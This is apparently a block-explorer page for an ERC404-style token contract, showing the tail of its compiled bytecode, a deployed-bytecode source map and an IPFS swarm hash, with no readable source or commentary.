280838360005b8381101561285b578181015183820152602001612843565b50505050905001604052505050905092915050565b3060601b90565b601360009054906101000a90046001600160a01b03166001600160a01b0316638803dbee85858585426104b0016040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156129145781810151838201526020016128fc565b505050509050019650505050505050600060405180830381600087803b15801561293d57600080fd5b505af1158015612951573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052602081101561299857600080fd5b81019080805160405193929190846401000000008211156129b857600080fd5b9083019060208201858111156129cd57600080fd5b82518660208202830111640100000000821117156129ea57600080fd5b82525081516020918201928201910280838360005b83811015612a175781810151838201526020016129ff565b505050509050016040525050505050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282612a615760008555612aa7565b82601f10612a7a57805160ff1916838001178555612aa7565b82800160010185558215612aa7579182015b82811115612aa7578251825591602001919060010190612a8c565b50612ab3929150612ab7565b5090565b5b80821115612ab35760008155600101612ab856fe4552433430343a20617070726f766520746f20746865207a65726f20616464726573734552433430343a207472616e7366657220746f20746865207a65726f20616464726573734552433430343a207472616e7366657220616d6f756e7420657863656564732062616c616e63654552433430343a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4552433430343a20617070726f76652066726f6d20746865207a65726f20616464726573734552433430343a207472616e736665722066726f6d20746865207a65726f2061646472657373a26469706673582212203e7f3186ac917c1a4143c388dc21ae8ef4e5fab11bf97e827d4941e932458b4864736f6c63430007060033

Deployed Bytecode Sourcemap

84205:10985:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;78129:36;;;;;;;;;;;;;;;;-1:-1:-1;78129:36:0;-1:-1:-1;;;;;78129:36:0;;:::i;:::-;;;;;;;;;;;;;;;;78843:91;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;68769:46;;;;;;;;;;;;;;;;-1:-1:-1;68769:46:0;;:::i;:::-;;;;-1:-1:-1;;;;;68769:46:0;;;;;;;;;;;;;;80756:183;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;80756:183:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;79156:99;;;:::i;80947:248::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;80947:248:0;;;;;;;;;;;;;;;;;:::i;68533:45::-;;;;;;;;;;;;;;;;-1:-1:-1;68533:45:0;-1:-1:-1;;;;;68533:45:0;;:::i;84314:26::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;72814:162;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;72814:162:0;;;;;;;;:::i;91703:648::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;91703:648:0;-1:-1:-1;91703:648:0;;:::i;:::-;;68285:43;;;:::i;84398:100::-;;;:::i;81203:267::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;81203:267:0;;;;;;;;:::i;73053:355::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;73053:355:0;;;;;;;;;;;;;;;;;:::i;68427:21::-;;;:::i;69565:101::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;69565:101:0;;;;;;;;;;:::i;78023:56::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;78023:56:0;;;;;;;;;;:::i;85117:279::-;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;85117:279:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;85117:279:0;;-1:-1:-1;85117:279:0;;-1:-1:-1;;;;;85117:279:0:i;69738:184::-;;;;;;;;;;;;;;;;-1:-1:-1;69738:184:0;;:::i;71162:1593::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;71162:1593:0;;;;;;;;;;;;;;;;;:::i;80469:110::-;;;;;;;;;;;;;;;;-1:-1:-1;80469:110:0;-1:-1:-1;;;;;80469:110:0;;:::i;78172:20::-;;;:::i;79053:95::-;;;:::i;69380:41::-;;;;;;;;;;;;;;;;-1:-1:-1;69380:41:0;-1:-1:-1;;;;;69380:41:0;;:::i;70806:207::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;70806:207:0;;;;;;;;;;:::i;81478:467::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;81478:467:0;;;;;;;;:::i;79847:175::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;79847:175:0;;;;;;;;:::i;70237:518::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;70237:518:0;;;;;;;;:::i;68091:26::-;;;:::i;73503:387::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;73503:387:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;73503:387:0;;-1:-1:-1;73503:387:0;-1:-1:-1;73503:387:0;:::i;78086:36::-;;;;;;;;;;;;;;;;-1:-1:-1;78086:36:0;-1:-1:-1;;;;;78086:36:0;;:::i;69994:94::-;;;;;;;;;;;;;;;;-1:-1:-1;69994:94:0;;:::i;77990:26::-;;;:::i;80587:161::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;80587:161:0;;;;;;;;;;:::i;85003:106::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;85003:106:0;;-1:-1:-1;85003:106:0;;-1:-1:-1;;;;;85003:106:0:i;68031:24::-;;;:::i;68648:65::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;68648:65:0;;;;;;;;;;:::i;68880:68::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;68880:68:0;;;;;;;;;;:::i;90294:648::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;90294:648:0;-1:-1:-1;90294:648:0;;:::i;86684:273::-;;;;;;;;;;;;;;;;-1:-1:-1;86684:273:0;-1:-1:-1;;;;;86684:273:0;;:::i;68179:37::-;;;:::i;84349:42::-;;;;;;;;;;;;;;;;-1:-1:-1;84349:42:0;-1:-1:-1;;;;;84349:42:0;;:::i;78129:36::-;;;;;;;;;;;;;:::o;78843:91::-;78921:5;78914:12;;;;;;;;-1:-1:-1;;78914:12:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;78888:13;;78914:12;;78921:5;;78914:12;;78921:5;78914:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;78843:91;:::o;68769:46::-;;;;;;;;;;;;-1:-1:-1;;;;;68769:46:0;;:::o;80756:183::-;80855:4;80872:37;80881:10;80893:7;80902:6;80872:8;:37::i;:::-;-1:-1:-1;80927:4:0;80756:183;;;;:::o;79156:99::-;79235:12;;79156:99;:::o;80947:248::-;81069:4;81086:41;81102:4;81108:10;81120:6;81086:15;:41::i;:::-;81138:27;81148:4;81154:2;81158:6;81138:9;:27::i;:::-;-1:-1:-1;81183:4:0;80947:248;;;;;:::o;68533:45::-;;;;;;;;;;;;;:::o;84314:26::-;;;;;;;;;:::o;72814:162::-;72910:4;72934:34;72945:10;72957:2;72961:6;72934:10;:34::i;:::-;72927:41;72814:162;-1:-1:-1;;;72814:162:0:o;91703:648::-;78706:5;;-1:-1:-1;;;;;78706:5:0;78715:10;78706:19;78698:55;;;;;-1:-1:-1;;;78698:55:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;91838:9:::1;91833:511;91853:15:::0;;::::1;91833:511;;;91919:15;:44:::0;91915:418:::1;;92013:10;92026:248;92226:2;92214:4;;92219:1;92214:7;;;;;;;;;;;;;92206:16;;:22;;92253:2;92026:14;:248::i;:::-;92013:261;;92293:24;92305:4;;92310:1;92305:7;;;;;;;;;;;;;92314:2;92293:11;:24::i;:::-;91915:418;;91870:3;;91833:511;;;;91703:648:::0;;;:::o;68285:43::-;;;:::o;84398:100::-;;;;:::o;81203:267::-;81316:4;81351:10;81372:68;81351:10;81390:7;81429:10;81399:27;81351:10;81390:7;81399:9;:27::i;:::-;:40;81372:8;:68::i;73053:355::-;73177:27;73191:4;73197:2;73201;73177:13;:27::i;:::-;73235:61;;;73313:40;73235:61;;;73271:10;73235:61;;;;-1:-1:-1;;;;;73235:61:0;;;;;;;;;;;;;;;;;;-1:-1:-1;73235:61:0;;;;;;;;73313:40;;73235:35;;;;73313:40;;73235:61;;;;;;;;;;;;;;;;:35;:61;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;73235:61:0;:118;;;73217:184;;73380:9;;;73217:184;73053:355;;;:::o;68427:21::-;;;;:::o;69565:101::-;-1:-1:-1;;;;;69633:17:0;;;;;;;;:9;:17;;;;;:25;;;;;;;;;;;;;69565:101::o;78023:56::-;;;;;;;;;;;;;;;;;;;;;;;;:::o;85117:279::-;78706:5;;85257:4;;-1:-1:-1;;;;;78706:5:0;78715:10;78706:19;78698:55;;;;;-1:-1:-1;;;78698:55:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;85279:9:::1;85274:93;85298:1;:8;85294:1;:12;85274:93;;;85328:27;85340:1;85342;85340:4;;;;;;;;;;;;;;85346:1;85349;85352:2;85328:11;:27::i;:::-;85308:3;;85274:93;;;-1:-1:-1::0;85384:4:0::1;::::0;85117:279;-1:-1:-1;;;;;85117:279:0:o;69738:184::-;69796:13;69830:12;;;:8;:12;;;;;;-1:-1:-1;;;;;69830:12:0;69859:19;69855:60;;69895:8;;;69855:60;69738:184;;;:::o;71162:1593::-;71309:6;;71295:10;:20;71291:1457;;71344:20;;;;:8;:20;;;;;;-1:-1:-1;;;;;71336:28:0;;;71344:20;;71336:28;71332:78;;71385:9;;;71332:78;-1:-1:-1;;;;;71430:16:0;;71426:66;;71467:9;;;71426:66;71530:10;-1:-1:-1;;;;;71530:18:0;;;;;;:74;;-1:-1:-1;;;;;;71570:22:0;;;;;;:16;:22;;;;;;;;71593:10;71570:34;;;;;;;;;;71569:35;71530:74;:132;;;;-1:-1:-1;71639:23:0;;;;:11;:23;;;;;;-1:-1:-1;;;;;71639:23:0;71625:10;:37;;71530:132;71508:214;;;71697:9;;;71508:214;71758:10;:8;:10::i;:::-;-1:-1:-1;;;;;71738:16:0;;;;;;:10;:16;;;;;:30;;;;;;;;71807:10;:8;:10::i;:::-;-1:-1:-1;;;;;71789:14:0;;;;;;;:10;:14;;;;;;;;:28;;;;;;;;71834:20;;;:8;:20;;;;;:25;;;;;;;;;;;71881:11;:23;;;;;71874:30;;;;;;;;71982:12;;;;;:6;:12;;;;;71995:19;;-1:-1:-1;;71995:23:0;;;71982:37;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;72034:12:0;;;;:6;:12;;;;;;72047:23;;;:11;:23;;;;;;;72034:37;;71982;;-1:-1:-1;71982:37:0;;72034;;;;;;;;;;;;;;;;;:49;;;;-1:-1:-1;;;;;72118:12:0;;;;:6;:12;;;;;;:18;;;;;;;;;;;;;;;;;-1:-1:-1;;72118:18:0;;;;;;;;;;;;72222:23;;;:11;:23;;;;;;;;;72197:22;;;;;;:48;-1:-1:-1;;;;;72299:10:0;;;;;;:6;:10;;;;;:27;;72118:18;72299:27;;;;;;;;;;;;;;72409:17;72383:23;;;;;;;;72409:21;;;;72383:47;;;72454:35;;;72478:10;:8;:10::i;:::-;72454:35;;;;;;;;;;;;;;;71291:1457;;;;-1:-1:-1;;;;;72540:16:0;;72522:15;72540:16;;;:10;:16;;;;;;;;72557:10;72540:28;;;;;;;;-1:-1:-1;;72589:28:0;;72585:102;;-1:-1:-1;;;;;72636:16:0;;;;;;:10;:16;;;;;;;;72653:10;72636:28;;;;;;;72667:20;;;72636:51;;72585:102;72704:32;72715:4;72721:2;72725:10;72704;:32::i;:::-;;71291:1457;71162:1593;;;:::o;80469:110::-;-1:-1:-1;;;;;80561:10:0;80534:7;80561:10;;;:1;:10;;;;;;;80469:110::o;78172:20::-;;;-1:-1:-1;;;;;78172:20:0;;:::o;79053:95::-;79133:7;79126:14;;;;;;;;-1:-1:-1;;79126:14:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;79100:13;;79126:14;;79133:7;;79126:14;;79133:7;79126:14;;;;;;;;;;;;;;;;;;;;;;;;69380:41;;;;;;;;;;;;;;;:::o;70806:207::-;70909:10;70892:28;;;;:16;:28;;;;;;;;-1:-1:-1;;;;;70892:38:0;;;;;;;;;;;;:49;;;;;;;;;;;;;70959:46;;;;;;;70892:38;;70909:10;70959:46;;;;;;;;;;;70806:207;;:::o;81478:467::-;81596:4;81631:10;81596:4;81679:27;81631:10;81698:7;81679:9;:27::i;:::-;81652:54;;81759:15;81739:16;:35;;81717:123;;;;-1:-1:-1;;;81717:123:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;81853:62;81862:7;81871;81899:15;81880:16;:34;81853:8;:62::i;:::-;-1:-1:-1;81933:4:0;;81478:467;-1:-1:-1;;;;81478:467:0:o;79847:175::-;79942:4;79959:33;79969:10;79981:2;79985:6;79959:9;:33::i;70237:518::-;70341:4;70376:6;;70362:10;:20;;:38;;;;;70399:1;70386:10;:14;70362:38;70358:366;;;70417:13;70433:20;;;:8;:20;;;;;;-1:-1:-1;;;;;70433:20:0;70474:10;:19;;;;;:59;;-1:-1:-1;;;;;;70498:23:0;;;;;;:16;:23;;;;;;;;70522:10;70498:35;;;;;;;;;;70497:36;70474:59;70470:108;;;70554:8;;;70470:108;-1:-1:-1;70594:23:0;;;;:11;:23;;;;;:33;;;;-1:-1:-1;;;;;70594:33:0;;;;;70358:366;;;-1:-1:-1;70675:10:0;70664:22;;;;:10;:22;;;;;;;;-1:-1:-1;;;;;70664:31:0;;;;;;;;;;;;;:44;70743:4;;70237:518::o;68091:26::-;;;;;;;;;;;;;;;-1:-1:-1;;68091:26:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;73503:387::-;73657:27;73671:4;73677:2;73681;73657:13;:27::i;:::-;73795:40;;;73715:120;;;73730:2;-1:-1:-1;;;;;73715:35:0;;73751:10;73763:4;73769:2;73773:4;;73715:63;;;;;;;;;;;;;-1:-1:-1;;;;;73715:63:0;;;;;;-1:-1:-1;;;;;73715:63:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;73715:63:0;:120;;;73697:186;;73862:9;;;78086:36;;;;;;;;;;;;;:::o;69994:94::-;-1:-1:-1;70071:9:0;;;;;;;;;-1:-1:-1;70071:9:0;;;69994:94::o;77990:26::-;;;;;;;;;;;;;;;-1:-1:-1;;77990:26:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;80587:161;-1:-1:-1;;;;;80721:10:0;;;80694:7;80721:10;;;:1;:10;;;;;;;;:19;;;;;;;;;;;;;80587:161::o;85003:106::-;78706:5;;-1:-1:-1;;;;;78706:5:0;78715:10;78706:19;78698:55;;;;;-1:-1:-1;;;78698:55:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;85077:24;;::::1;::::0;:12:::1;::::0;:24:::1;::::0;::::1;::::0;::::1;:::i;:::-;;85003:106:::0;:::o;68031:24::-;;;;;;;;;;;;;;;-1:-1:-1;;68031:24:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;68648:65;;;;;;;;;;;;;;;;;;;;;;;;:::o;68880:68::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;90294:648::-;78706:5;;-1:-1:-1;;;;;78706:5:0;78715:10;78706:19;78698:55;;;;;-1:-1:-1;;;78698:55:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;90430:9:::1;90425:510;90445:15:::0;;::::1;90425:510;;;90511:15;:44:::0;90507:417:::1;;90605:10;90618:246;90816:2;90804:4;;90809:1;90804:7;;;;;;90618:246;90605:259;;90883:25;90896:4;;90901:1;90896:7;;;;;;;;;;;;;90905:2;90883:12;:25::i;:::-;90507:417;;90462:3;;90425:510;;86684:273:::0;78706:5;;-1:-1:-1;;;;;78706:5:0;78715:10;78706:19;78698:55;;;;;-1:-1:-1;;;78698:55:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;86741:15:::1;86787:6;86760:15;86764:3;;;;;;;;;-1:-1:-1::0;;;;;86764:3:0::1;-1:-1:-1::0;;;;;86764:8:0::1;;:10;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;-1:-1:-1::0;86764:10:0;86760:3:::1;:15::i;:::-;86778:5;86760:23;86759:34;;;;;;86741:52;;86804:26;86833:5;:3;:5::i;:::-;86804:34;;86849:14;86866:29;86876:7;86885:9;86866;:29::i;:::-;86849:46;;86906:43;86918:7;86927:6;86935:9;86946:2;86906:11;:43::i;68179:37::-:0;;;:::o;84349:42::-;;;;;;;;;;;;;:::o;82615:380::-;-1:-1:-1;;;;;82753:21:0;;82745:71;;;;-1:-1:-1;;;82745:71:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;82835:21:0;;82827:69;;;;-1:-1:-1;;;82827:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;82909:10:0;;;;;;;:1;:10;;;;;;;;:19;;;;;;;;;;;;;:28;;;82953:34;;;;;;;;;;;;;;;;;82615:380;;;:::o;83003:467::-;83140:24;83167:27;83177:7;83186;83167:9;:27::i;:::-;83140:54;;-1:-1:-1;;83209:16:0;:37;83205:258;;83309:6;83289:16;:26;;83263:118;;;;;-1:-1:-1;;;83263:118:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;83398:53;83407:7;83416;83444:6;83425:16;:25;83398:8;:53::i;81953:654::-;-1:-1:-1;;;;;82084:18:0;;82076:69;;;;-1:-1:-1;;;82076:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;82164:16:0;;82156:65;;;;-1:-1:-1;;;82156:65:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;82256:7:0;;82234:19;82256:7;;;:1;:7;;;;;;82296:21;;;;82274:110;;;;-1:-1:-1;;;82274:110:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;82399:7:0;;82409:1;82399:7;;;:1;:7;;;;;;:11;82395:79;;-1:-1:-1;;;;;82439:7:0;;;;;;:1;:7;;;;;;;;;82448:1;:7;;;;;;;82435:21;;82439:7;82435:3;:21::i;:::-;:26;82427:35;;;;;;82496:24;82500:11;82513:6;82496:3;:24::i;:::-;-1:-1:-1;;;;;82486:7:0;;;;;;;:1;:7;;;;;;:34;;;;82543:5;;;;;;;82539:18;;82550:6;82539:3;:18::i;:::-;-1:-1:-1;;;;;82531:5:0;;;;;;;:1;:5;;;;;;;;;:26;;;;82573;;;;;;;82531:5;;82573:26;;;;;;;;;;;;;81953:654;;;;:::o;73958:1076::-;74080:4;74097:12;74112:10;:8;:10::i;:::-;-1:-1:-1;;;;;74163:16:0;;;74133:27;74163:16;;;:10;:16;;;;;;;;;;74222:14;;;;;;;;;;74249:26;;;;;;74292:24;;;;;;74390:15;;;:9;:15;;;;;;74097:25;;-1:-1:-1;74163:16:0;;74390:15;;74385:252;;-1:-1:-1;;;;;74496:16:0;;74422:22;74496:16;;;:10;:16;;;;;;74515:4;;;74496:23;;;;;74470:4;74448:19;:26;;;;;;74447:73;74422:98;;74540:9;74535:91;74559:14;74555:1;:18;74535:91;;;74599:11;74605:4;74599:5;:11::i;:::-;74575:3;;74535:91;;;;74385:252;;-1:-1:-1;;;;;74713:13:0;;;;;;:9;:13;;;;;;;;74708:248;;74743:22;74836:4;74812:21;:28;;;;;-1:-1:-1;;;;;74769:14:0;;;;;;:10;:14;;;;;;74812:28;;;;74786:4;;;74769:21;;;;;74768:73;74743:98;;74861:9;74856:89;74880:14;74876:1;:18;74856:89;;;74920:9;74926:2;74920:5;:9::i;:::-;74896:3;;74856:89;;;;74708:248;;74993:2;-1:-1:-1;;;;;74973:31:0;74987:4;-1:-1:-1;;;;;74973:31:0;;74997:6;74973:31;;;;;;;;;;;;;;;;;;-1:-1:-1;75022:4:0;;73958:1076;-1:-1:-1;;;;;;73958:1076:0:o;87163:153::-;-1:-1:-1;;;;;87296:6:0;;87261:7;87296:6;;;:1;:6;;;;;;87288:20;;87304:3;87288:7;:20::i;93286:566::-;93820:24;93839:3;93820:10;:24::i;:::-;93427:1;:390;93770:2;93755:17;;;93585:115;-1:-1:-1;;;;;93427:390:0;;;;;;;;;;;;-1:-1:-1;93427:390:0;:417;-1:-1:-1;;93286:566:0:o;93860:475::-;94061:5;;94015:65;;;;;;-1:-1:-1;;;;;94015:65:0;;;;;;;94061:5;;;94015:65;;;;;;;;;;;;:29;;;;;;:65;;;;;;;;;;;;;;;94061:5;94015:29;:65;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;94113:5:0;;94096:42;;;;;;;;-1:-1:-1;;;;;94096:42:0;;;;94113:5;;94096:42;;;;;;94015:65;94096:42;;;94154:173;;;;;;94253:1;94154:173;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;94154:173:0;;;94173:42;;94154:173;;;;;;;;;93860:475;;;;:::o;75073:93::-;75143:15;75149:9;75143:15;:2;:15;75073:93;:::o;88251:1111::-;88539:5;;88512:2;88497:17;;;88560:430;;;;:1;:430;;;;;;;;;;88369:632;;;;;;;-1:-1:-1;;;;;88539:5:0;;;;88369:632;;;;;;;;;;89329:25;89349:3;89329:11;:25::i;:::-;89041:1;:285;89279:2;89264:17;;;89082:201;;86965:190;87012:7;87033:10;87045;87061:5;;;;;;;;;-1:-1:-1;;;;;87061:5:0;-1:-1:-1;;;;;87061:17:0;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;87061:19:0;;;;;;;87099:5;;87061:19;87099:14;;;;;;;87061:19;;-1:-1:-1;87061:19:0;;-1:-1:-1;;;;;;87099:19:0;;;;:5;;;:12;;:14;;;;;87061:19;87099:14;;;;;;:5;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;87099:14:0;-1:-1:-1;;;;;87099:19:0;;87098:49;;87144:2;87136:11;;87098:49;;;87130:2;87122:11;;87098:49;87091:56;86965:190;-1:-1:-1;;;;86965:190:0:o;85404:202::-;85504:16;;;85518:1;85504:16;;;85442;85504;;;;;85442;;;85504;85518:1;85504:16;;;;;;;;;;-1:-1:-1;85504:16:0;85500:20;;85546:4;85531:1;85533;85531:4;;;;;;;;-1:-1:-1;;;;;85531:20:0;;;:4;;;;;;;;;;:20;;;;85569:3;;:10;;;;;;;;:3;;;;;:8;;:10;;;;;85531:4;;85569:10;;;;;:3;:10;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;85569:10:0;85562:4;;:1;;85564;;85562:4;;;;;;-1:-1:-1;;;;;85562:17:0;;;:4;;;;;;;;;;;:17;85597:1;-1:-1:-1;85404:202:0;:::o;94591:592::-;94797:16;;;94811:1;94797:16;;;94756:22;94797:16;;;;;94690:7;;94756:22;;94797:16;94811:1;94797:16;;;;;;;;;;-1:-1:-1;94797:16:0;94789:24;;94856:16;94861:7;94870:1;94856:4;:16::i;:::-;94848:24;;95122:5;95128:1;95122:8;;;;;;;;;;;;;;94883:1;:235;94925:1;94899:15;:28;:63;;;-1:-1:-1;94956:1:0;94899:63;:112;;;-1:-1:-1;94996:15:0;94991:1;94983:28;94899:112;:208;;95104:1;94899:208;;;95064:2;95055:4;:2;:4::i;:::-;95047:19;;94899:208;-1:-1:-1;;;;;94883:235:0;;;;;;;;;;;;-1:-1:-1;94883:235:0;;;:247;;;;;;;;95167:8;;:5;;-1:-1:-1;95167:8:0;;;;;;;;;;95160:15;;;94591:592;;;;:::o;85614:288::-;85823:4;85813:16;;;;:1;:16;;;;;;;;;85780:1;:16;;;;;85805:3;;-1:-1:-1;;;;;85805:3:0;85780:30;;;;;;;;:49;85840:54;85854:14;85870:8;85880:4;85886:7;85840:13;:54::i;79611:221::-;79671:7;79734;;;79760:9;;;;79752:49;;;;;-1:-1:-1;;;79752:49:0;;;;;;;;;;;;;;;;;;;;;;;;;;;80031:194;80091:7;80125:2;80119;:8;;80111:51;;;;;-1:-1:-1;;;80111:51:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;80187:7:0;;;80031:194::o;75553:316::-;-1:-1:-1;;;;;75614:18:0;;75610:60;;75649:9;;;75610:60;-1:-1:-1;;;;;75695:12:0;;75682:10;75695:12;;;:6;:12;;;;;75708:19;;-1:-1:-1;;75708:23:0;;;75695:37;;;;;;;;;;;;;;75682:50;;75743:6;:12;75750:4;-1:-1:-1;;;;;75743:12:0;-1:-1:-1;;;;;75743:12:0;;;;;;;;;;;;:18;;;;;;;;;;;;;;;;;-1:-1:-1;;75743:18:0;;;;;;;;;;;;75779:15;;;:11;:15;;;;;;75772:22;;;75812:8;:12;;;;;75805:19;;;;;;;;;75842:11;:15;;;;;75835:22;;;;;;;-1:-1:-1;75553:316:0:o;75174:371::-;-1:-1:-1;;;;;75233:16:0;;75229:58;;75266:9;;;75229:58;75303:6;:8;;;;;;;;:6;75360:12;;;:8;:12;;;;;;-1:-1:-1;;;;;75360:12:0;:26;75356:68;;75403:9;;;75356:68;75436:12;;;;:8;:12;;;;;;;;:17;;;;-1:-1:-1;;;;;75436:17:0;;;;;;;;;75464:10;;;:6;:10;;;;;:19;;-1:-1:-1;75464:19:0;;;;;;;;;;;;;;75512:17;75494:15;;;:11;:15;;;;;;-1:-1:-1;;75512:21:0;;;75494:39;;75174:371::o;79263:106::-;79327:7;79359:2;79354;:7;;;;;;;79263:106;-1:-1:-1;;;79263:106:0:o;79506:97::-;79593:2;79588:7;;79506:97::o;79377:121::-;79477:12;79461:11;;;79460:30;;79377:121::o;89370:163::-;89501:3;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;89465:16;;-1:-1:-1;;;;;89501:3:0;;:16;;89518:3;;89523:1;;89501:24;;;;;;;;;;;;;;;:3;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;89501:24:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;89494:31;;89370:163;;;;:::o;80343:118::-;80439:4;80450:2;80415:37;80343:118;:::o;85910:399::-;86079:3;;;;;;;;;-1:-1:-1;;;;;86079:3:0;-1:-1:-1;;;;;86079:28:0;;86148:9;86172:13;86226:5;86246:7;86268:15;86286:4;86268:22;86079:222;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;86079:222:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;86079:222:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;85910:399;;;;:::o;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;

Swarm Source

ipfs://3e7f3186ac917c1a4143c388dc21ae8ef4e5fab11bf97e827d4941e932458b48

